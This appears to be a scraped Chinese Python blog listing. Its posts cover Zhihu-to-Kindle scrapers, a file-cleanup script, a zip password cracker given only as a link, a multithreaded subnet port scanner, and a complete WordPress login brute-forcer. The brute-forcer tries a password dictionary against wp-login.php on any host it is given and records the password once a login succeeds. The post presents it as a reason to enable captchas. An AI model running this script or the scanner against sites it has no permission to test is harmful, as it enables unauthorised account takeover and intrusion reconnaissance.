filename = filename + ".txt"
f = codecs.open(filename, 'a', encoding='utf-8')
f.write(content)
f.close()


def getPost(date_time, filter_p):
url = 'https://zhhrb.sinaapp.com/index.php?date=' + date_time
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)
resp = urllib2.urlopen(req)
content = resp.read()
p = re.compile('<h2 class="question-title">(.*)</h2></br></a>')
result = re.findall(p, content)
count = -1
row = -1
for i in result:
#print i
return_content = re.findall(filter_p, i)

if return_content:
row = count
break
#print return_content[0]
count = count + 1
#print row
if row == -1:
return 0
link_p = re.compile('<a href="(.*)" target="_blank" rel="nofollow">')
link_result = re.findall(link_p, content)[row + 1]
print link_result
result_req = urllib2.Request(link_result, headers=header)
result_resp = urllib2.urlopen(result_req)
#result_content= result_resp.read()
#print result_content

bs = BeautifulSoup(result_resp, "html.parser")
title = bs.title.string.strip()
#print title
filename = re.sub('[\/:*?"<>|]', '-', title)
print filename
print date_time
save2file(filename, title)
save2file(filename, "\n\n\n\n--------------------%s Detail----------------------\n\n" %date_time)

detail_content = bs.find_all('div', class_='content')

for i in detail_content:
#print i
save2file(filename,"\n\n-------------------------answer -------------------------\n\n")
for j in i.strings:

save2file(filename, j)

smtp_server = 'smtp.126.com'
from_mail = sys.argv[1]
password = sys.argv[2]
to_mail = 'xxxxx@kindle.cn'
send_kindle = MailAtt(smtp_server, from_mail, password, to_mail)
send_kindle.send_txt(filename)


def main():
sub_folder = os.path.join(os.getcwd(), "content")
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)


date_time = '20160611'
filter_p = re.compile('大误.*')
ori_day=datetime.date(datetime.date.today().year,01,01)
t=datetime.date(datetime.date.today().year,datetime.date.today().month,datetime.date.today().day)
delta=(t-ori_day).days
print delta
for i in range(delta):
day=datetime.date(datetime.date.today().year,01,01)+datetime.timedelta(i)
getPost(day.strftime("%Y%m%d"),filter_p)
#getPost(date_time, filter_p)

if __name__ == "__main__":
main()





github: https://github.com/Rockyzsu/zhihu_daily__kindle
 
上面的代码可以稍作修改,就可以抓取瞎扯或者深夜食堂的系列文章。
 
附福利:
http://pan.baidu.com/s/1kVewz59
所有的知乎日报的大误文章。(截止2016/6/12日) 查看全部
无意中看了知乎日报的大误系列的一篇文章,之后就停不下来了,大误是虚构故事,知乎上神人虚构故事的功力要高于网络上的很多写手啊!! 看的欲罢不能,不过还是那句,手机屏幕太小,连续看几个小时很疲劳,而且每次都要联网去看。 
 
所以写了下面的python脚本,一劳永逸。 脚本抓取大误从开始到现在的所有文章,并推送到你自己的kindle账号。
 

大误.JPG
# -*- coding=utf-8 -*-
__author__ = 'rocky @ www.30daydo.com'
import urllib2, re, os, codecs,sys,datetime
from bs4 import BeautifulSoup
# example https://zhhrb.sinaapp.com/index.php?date=20160610
from mail_template import MailAtt
reload(sys)
sys.setdefaultencoding('utf-8')

def save2file(filename, content):
filename = filename + ".txt"
f = codecs.open(filename, 'a', encoding='utf-8')
f.write(content)
f.close()


def getPost(date_time, filter_p):
url = 'https://zhhrb.sinaapp.com/index.php?date=' + date_time
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)
resp = urllib2.urlopen(req)
content = resp.read()
p = re.compile('<h2 class="question-title">(.*)</h2></br></a>')
result = re.findall(p, content)
count = -1
row = -1
for i in result:
#print i
return_content = re.findall(filter_p, i)

if return_content:
row = count
break
#print return_content[0]
count = count + 1
#print row
if row == -1:
return 0
link_p = re.compile('<a href="(.*)" target="_blank" rel="nofollow">')
link_result = re.findall(link_p, content)[row + 1]
print link_result
result_req = urllib2.Request(link_result, headers=header)
result_resp = urllib2.urlopen(result_req)
#result_content= result_resp.read()
#print result_content

bs = BeautifulSoup(result_resp, "html.parser")
title = bs.title.string.strip()
#print title
filename = re.sub('[\/:*?"<>|]', '-', title)
print filename
print date_time
save2file(filename, title)
save2file(filename, "\n\n\n\n--------------------%s Detail----------------------\n\n" %date_time)

detail_content = bs.find_all('div', class_='content')

for i in detail_content:
#print i
save2file(filename,"\n\n-------------------------answer -------------------------\n\n")
for j in i.strings:

save2file(filename, j)

smtp_server = 'smtp.126.com'
from_mail = sys.argv[1]
password = sys.argv[2]
to_mail = 'xxxxx@kindle.cn'
send_kindle = MailAtt(smtp_server, from_mail, password, to_mail)
send_kindle.send_txt(filename)


def main():
sub_folder = os.path.join(os.getcwd(), "content")
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)


date_time = '20160611'
filter_p = re.compile('大误.*')
ori_day=datetime.date(datetime.date.today().year,01,01)
t=datetime.date(datetime.date.today().year,datetime.date.today().month,datetime.date.today().day)
delta=(t-ori_day).days
print delta
for i in range(delta):
day=datetime.date(datetime.date.today().year,01,01)+datetime.timedelta(i)
getPost(day.strftime("%Y%m%d"),filter_p)
#getPost(date_time, filter_p)

if __name__ == "__main__":
main()





github: https://github.com/Rockyzsu/zhihu_daily__kindle
 
上面的代码可以稍作修改,就可以抓取瞎扯或者深夜食堂的系列文章。
 
附福利:
http://pan.baidu.com/s/1kVewz59
所有的知乎日报的大误文章。(截止2016/6/12日)

python 爆解zip压缩文件密码

李魔佛 发表了文章 • 0 个评论 • 8813 次浏览 • 2016-06-09 21:43 • 来自相关话题

出于对百度网盘的不信任,加上前阵子百度会把一些侵犯版权的文件清理掉或者一些百度认为的尺度过大的文件进行替换,留下一个4秒的教育视频。 为何不提前告诉用户? 擅自把用户的资料删除,以后用户哪敢随意把资料上传上去呢?
 
抱怨归抱怨,由于现在金山快盘,新浪尾盘都关闭了,速度稍微快点的就只有百度网盘了。 所以我会把文件事先压缩好,加个密码然后上传。
 
可是有时候下载下来却忘记了解压密码,实在蛋疼。 所以需要自己逐一验证密码。 所以就写了这个小脚本。 很简单,没啥技术含量。 
 





 
 
代码就用图片吧,大家可以上机自己敲敲代码也好。 ctrl+v 代码 其实会养成一种惰性。
 
github: https://github.com/Rockyzsu/zip_crash
  查看全部
出于对百度网盘的不信任,加上前阵子百度会把一些侵犯版权的文件清理掉或者一些百度认为的尺度过大的文件进行替换,留下一个4秒的教育视频。 为何不提前告诉用户? 擅自把用户的资料删除,以后用户哪敢随意把资料上传上去呢?
 
抱怨归抱怨,由于现在金山快盘,新浪尾盘都关闭了,速度稍微快点的就只有百度网盘了。 所以我会把文件事先压缩好,加个密码然后上传。
 
可是有时候下载下来却忘记了解压密码,实在蛋疼。 所以需要自己逐一验证密码。 所以就写了这个小脚本。 很简单,没啥技术含量。 
 

crash_zip.JPG

 
 
代码就用图片吧,大家可以上机自己敲敲代码也好。 ctrl+v 代码 其实会养成一种惰性。
 
github: https://github.com/Rockyzsu/zip_crash
 

批量删除某个目录下所有子目录的指定后缀的文件

李魔佛 发表了文章 • 0 个评论 • 3916 次浏览 • 2016-06-07 17:51 • 来自相关话题

平时硬盘中下载了大量的image文件,用做刷机。 下载的文件是tgz格式,刷机前需要用 tar zxvf  xxx.tgz 解压。
日积月累,硬盘空间告急,所以写了下面的脚本用来删除指定的解压文件,但是源解压文件不能够删除,因为后续可能会要继续用这个tgz文件的时候(需要再解压然后刷机)。 如果手动去操作,需要进入每一个文件夹,然后选中tgz,然后反选,然后删除。 很费劲。
 
import os

def isContain(des_str,ori_str):
for i in des_str:
if ori_str == i:
return True
return False


path=os.getcwd()
print path
des_str=['img','cfg','bct','bin','sh','dtb','txt','mk','pem','mk','pk8','xml','lib','pl','blob','dat']
for fpath,dirs,fname in os.walk(path):
#print fname

if fname:
for i in fname:
#print i
name=i.split('.')
if len(name)>=2:
#print name[1]
if isContain(des_str,name[1]):
filepath=os.path.join(fpath,i)
print "delete file %s" %filepath
os.remove(filepath)
github: https://github.com/Rockyzsu/RmFile
  查看全部
平时硬盘中下载了大量的image文件,用做刷机。 下载的文件是tgz格式,刷机前需要用 tar zxvf  xxx.tgz 解压。
日积月累,硬盘空间告急,所以写了下面的脚本用来删除指定的解压文件,但是源解压文件不能够删除,因为后续可能会要继续用这个tgz文件的时候(需要再解压然后刷机)。 如果手动去操作,需要进入每一个文件夹,然后选中tgz,然后反选,然后删除。 很费劲。
 
import os

def isContain(des_str,ori_str):
for i in des_str:
if ori_str == i:
return True
return False


path=os.getcwd()
print path
des_str=['img','cfg','bct','bin','sh','dtb','txt','mk','pem','mk','pk8','xml','lib','pl','blob','dat']
for fpath,dirs,fname in os.walk(path):
#print fname

if fname:
for i in fname:
#print i
name=i.split('.')
if len(name)>=2:
#print name[1]
if isContain(des_str,name[1]):
filepath=os.path.join(fpath,i)
print "delete file %s" %filepath
os.remove(filepath)

github: https://github.com/Rockyzsu/RmFile
 

python 多线程扫描开放端口

低调的哥哥 发表了文章 • 0 个评论 • 10171 次浏览 • 2016-05-15 21:15 • 来自相关话题

为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

  查看全部
为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。
import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"
多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。
import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()

 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

 

python 暴力破解wordpress博客后台登陆密码

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 23805 次浏览 • 2016-05-13 17:49 • 来自相关话题

自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 






所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
  查看全部
自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 

wordpress后台.PNG


所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)
# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
 

python爬虫 模拟登陆知乎 推送知乎文章到kindle电子书 获取自己的关注问题

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 37727 次浏览 • 2016-05-12 17:53 • 来自相关话题

平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle











# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle





 # -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()
 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
  查看全部
平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle


11.PNG



kindle.JPG
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

